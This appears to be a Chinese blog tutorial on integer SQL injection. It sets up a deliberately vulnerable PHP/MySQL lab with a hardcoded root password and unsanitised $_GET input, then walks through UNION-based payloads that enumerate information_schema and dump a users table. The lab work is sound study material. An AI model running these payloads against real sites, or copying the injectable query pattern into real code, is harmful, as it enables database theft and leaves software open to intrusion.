• SQL注入中的整型注入实验


    首先搭建一个用于注入的环境

    目录结构

    conn.php    用来连接数据库的文件PHP文件

    index.php    用来执行SQL命令,以及返回查询结构

    index.html              一个存在注入点的页面

    conn.php的代码

    <?php
    $servername="localhost";
    $username="root";
    $password="weiwhy";
    try{
    $con=new PDO("mysql:host=$servername;dbname=phpdisk",$username,$password);
    echo "链接数据库成功";
    }catch(PDOException $e){
    echo $e->getMessage();
    }
    
    $con->exec('set names utf8');///exec方法用来执行没有结果返回的SQL语句。。。设置查询语句为utf-8
    ?>

    index.php代码

    <?php
    require('conn.php');
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    <body>
        <?php
            $id=$_GET['id'];
            $result=$con->query("select * from pd_users where userid=$id");//执行查询的SQL语句
            foreach($result as $value){
                var_dump($value);////直接输出作为显示位
            }
        ?>
    </body>
    </html>

    index.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    <body>
        <form action="index.php" method="GET">
            <input type="text" name="id">
            <input type="submit" value="提交">
        </form>
    </body>
    </html>

    存在的注入点为

    http://www.a.com/index.php?id=1 

    第一步,首先判断注入点是否可用

    http://www.a.com/index.php?id=1  and 1=1显示正常

    http://www.a.com/index.php?id=1  and 1=2 正常返回但是没有数据

    第二步,判断查询的表存在的列数

    http://www.a.com/index.php?id=1  order by 2

    使用排序方法判断存在多少行,根据第29列无法排序,说明不存在这一列

    根据第28列排序正常,所以此表存在28列

    第三步,使用联合查询,查找显示位

    union select 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4

    第四步,查询所有的库名

    通过查询information_schema.schemata表

    select distinct group_concat(schema_name) from information_schema.schemata

    第五步,查询指定库的所有表

    可以看到上一步中,拿到另外所有的库名,这一步指定查询estoresyste库

    select distinct group_concat(table_name) from information_schema.tables where table_schema='estoresystem'

    第六步,查询指定表的所有列

    拿到指定库的所有表之后,指定查询user表的所有列

    select distinct group_concat(column_name) from information_schema.columns where table_name='users'

    第七步,查询数据

     select distinct group_concat(username) from estoresystem.users

     查询到该表的四个用户

  • 相关阅读:
    sql server2008配置管理工具服务显示远程过程调用失败
    SQL基础增删改查
    常见浏览器的兼容问题
    【ASP.NET Web API教程】2.3.3 创建Admin控制器
    你不小心已“同意” 许多互联网“霸王条款”
    常见浏览器的兼容问题
    微信公众号开发及时获取当前用户Openid及注意事项
    CSS3新特性(阴影、动画、渐变、变形、伪元素等)
    element Cascader 多选 点击文字选中
    小兔子有一颗玻璃心,完整版【转】
  • 原文地址:https://www.cnblogs.com/smallsima/p/8760733.html
Copyright © 2020-2023  润新知